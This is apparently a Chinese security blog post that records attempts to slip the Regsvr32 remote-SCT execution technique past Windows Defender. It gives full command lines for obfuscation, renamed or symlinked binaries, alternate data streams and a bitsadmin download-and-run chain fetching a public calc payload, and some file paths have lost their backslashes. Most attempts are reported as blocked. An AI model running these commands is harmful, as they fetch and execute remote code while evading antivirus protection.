• Regsvr32 Bypass SCT/HTTP


    前言:看了这篇突然想起,2019年刚开始学习的时候在心东的视频教程中,他当时在360的情况下绕Regsvr32跟这篇文章也有点相似,不过这个人的思路更加的广阔!

    支持操作系统:Windows Vista,Windows 7,Windows 8,Windows 8.1,Windows 10

    所需要的权限:用户

    先介绍下Regsvr32,是个二进制文件,可用于执行外部SCT文件中的代码!

    参数讲解:

    /u:反注册DLL文件
    /i:在使用 /u 反注册时调用 DllInstall
    /s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
    /c:控制端口
    /n:不调用DllRegisterServer,必须与/i连用
    

    DllInstall:仅用于应用程序安装和设置。应用程序不应调用它。它的用途与DllRegisterServer或DllUnregisterServer相似。与这些函数不同,DllInstall使用一个输入字符串,该字符串可用于指定各种不同的操作。这允许根据任何适当的条件以多种方式安装DLL。

    大家可以理解DllInstall的时候可以带命令行参数进行注册,那么也可以进行自定义的操作,例如远程调用!


    这里主要学习总结绕过手段,如果需要详细图文学习的话,参考最下面的文章!

    标准的运行命令格式:regsvr32.exe /i:http://example.com/file.sct /u /s scrobj.dll,这个结果是会被Windows Defender进行拦截的!

    绕过过程如下:

    第一种尝试方法:命令参数的交换

    /u /s 前后交换

    regsvr32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截

    结果无法绕过

    第二种尝试方法:添加干扰符

    这里使用的干扰符只有"^,自己知道的还有个@

    regsvr32.exe /i:h^t^t^p://example.com/file.sct /s /u scrobj.dll 拦截

    regsvr32.exe /i:h"t"t"p://example.com/file.sct /s /u scrobj.dll 拦截

    第三种尝试方法:绕过windows目录调用,该方法对于某些av监控windows目录下的exe文件有一定的绕过作用!

    copy c:windowssystem32 egsvr32.exe c:programdata eg32.exe

    reg32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截

    copy c:windowssystem32scrobj.dll Myscrobj.dll

    regsvr32.exe /i:http://example.com/file.sct /s /u Myscrobj.dll 拦截

    第四种尝试方法:特征码修改

    这里自己理解的特征码修改实际上就是指的就是 引起AV检测的字符

    regsvr32.exe /i:http://example.com/file.txt /s /u scrobj.dll 拦截

    regsvr32.exe /i:http://example.com/file.txt scrobj.dll 拦截

    regsvr32.exe /i:http:// scrobj.dll 拦截

    regsvr32.exe /i:http: scrobj.dll 拦截

    regsvr32.exe /i:ftp: scrobj.dll 不拦截

    regsvr32.exe /i:http: Myscrobj.dll 不拦截

    那么可以确定的是 拦截情况为:httpscrobj.dll的组合

    第五种尝试方法:符号链接

    权限要求:本地管理员

    在linux中有软链接和硬链接,在windows中也有类似的操作符号链接

    Mklink.exe c:programdataMyscrobj.dll c:windowssystem32scrobj.dll

    regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll 不拦截,但是记得操作的时候在链接的dll目录下进行!

    第六种尝试方法:数据流(ADS)

    dir /R可以去发现本地的备用数据流

    默认情况下,我们查看称为$DATA的特定流。可以向文件中添加其他流并向其中添加内容。

    Type c:windowssystem32scrobj.dll > test.txt:Myscrobj.dll

    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct test.txt:Myscrobj.dll 拦截

    第七种尝试方法:本地磁盘执行

    那么也就是下载到本地然后进行执行,不去远程执行!

    bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP% est.txt && regsvr32.exe /s /u /i:%TEMP% est.txt scrobj.dll 拦截

    太棒了,屁都没学到!

    参考文章:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/

  • 相关阅读:
    java基础
    Java开发环境搭建
    打开CMD的方式和常用的Dos命令
    电脑常用快捷键
    Markdown学习
    c# json object Dictionary互转
    dapper 跨表查询
    Dapper SimpleCRUD Demo
    c#中的常用ToString()方法总结
    android js 模拟键盘
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12375152.html
Copyright © 2020-2023  润新知